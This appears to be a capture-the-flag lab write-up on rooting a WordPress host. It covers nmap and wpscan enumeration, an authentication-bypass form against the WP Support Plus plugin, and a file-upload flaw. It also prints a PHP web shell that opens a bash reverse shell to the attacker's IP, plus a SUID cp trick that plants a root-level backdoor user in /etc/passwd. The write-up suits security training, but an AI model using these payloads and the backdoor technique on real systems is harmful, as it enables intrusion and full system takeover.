TL;DR
- We have found a Wordpress instance
- A plugin gives us RCE then our initial shell
- Abusing the suid on cp we can replace the /etc/passwd file with our rogue version (containing a backdoor/dummy user)
NETWORK
nmap -p- -T4 192.168.136.23
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-28 09:36 EDT
Nmap scan report for 192.168.136.23
Host is up (0.019s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
ENUMERATION
scans
Wordpress
Wpscan
wpscan --url http://192.168.136.23/wordpress/ --enumerate vp --detection-mode aggressive
Exploit: WP Support Plus Responsive Ticket System 7.1.3
The plugin version installed on the website allows login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie()
.
Using the following html
<form method="post" action="/wordpress/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
directly on the page (while simply pasting the code via the inspector)
Then going to the admin panel we get access (as admin)
Finding Flags
We have a credential: root / Ignite@123
FOOTHOLD
According to https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f WP Support Plus Responsive Ticket System < 8.0.8 is vulnerable to Remote Code Execution
WP Support Plus Responsive Ticket System <= 8.0.7 allows anyone to upload PHP files with extensions like “.phtml”, “.php4”, “.php5”, and so on, all of which are run as if their extension was “.php” on most hosting platforms.
Remote code execution
<form method="post" enctype="multipart/form-data" action="/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpsp_upload_attachment">
Choose a file ending with .phtml:
<input type="file" name="0">
<input type="submit" value="Submit">
</form>
Using the following file
<?php
$port = (isset($_REQUEST['port'])) ? $_REQUEST['port'] : '1234' ;
if(isset($_REQUEST['ip'])) {
exec("/bin/bash -c 'bash -i >& /dev/tcp/". $_REQUEST['ip'] ."/". $port . " 0>&1'");
} elseif(isset($_REQUEST['cmd'])) {
echo exec($_REQUEST['cmd']);
}
?>
We can successfully run command on the server
Initial shell
Using the following command
curl http://192.168.136.23/wordpress/wp-content/uploads/wpsp/1648506514_pown.phtml\?ip\=192.168.49.136
we get a shell on the server
Enumeration
Exploring Mysql
PRIV ESCALATION
Suid
Thanks to /bin/cp we can read the /etc/shadow file
As, cp has suid permission can use that to escalate the root privilege by injecting a new user inside the /etc/passwd file.
First, let’s generate a password hash
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
$6$salt$uoy3eLWQ8ZK7dv2FoRxQrkOYfc4FT4qDjc1PCObX5vKn4MZgpfwn8Fm0Ve5u63zmaabiFiQWOZeF2qZDQk18Q0
Then let’s add the user hacker
and the generated password
hacker:$6$salt$uoy3eLWQ8ZK7dv2FoRxQrkOYfc4FT4qDjc1PCObX5vKn4MZgpfwn8Fm0Ve5u63zmaabiFiQWOZeF2qZDQk18Q0:0:0::/root:/bin/bash
to a copy of the /etc/passwd file
Using the “cp” command we can then replace the /etc/passwd with our modified version
Our user hacker has the same uid than root, so we have effectively fully rooted the machine
CAPTURE FLAGS
whoami; find / '(' -name 'local.txt' -or -name 'system.txt' -or -name 'user.txt' -or -name 'root.txt' -or -name 'proof.txt' -or -name 'access.txt' -or -name 'flag.txt' ')' -exec wc -c {} \; -exec cat {} \; 2>/dev/null; ip addr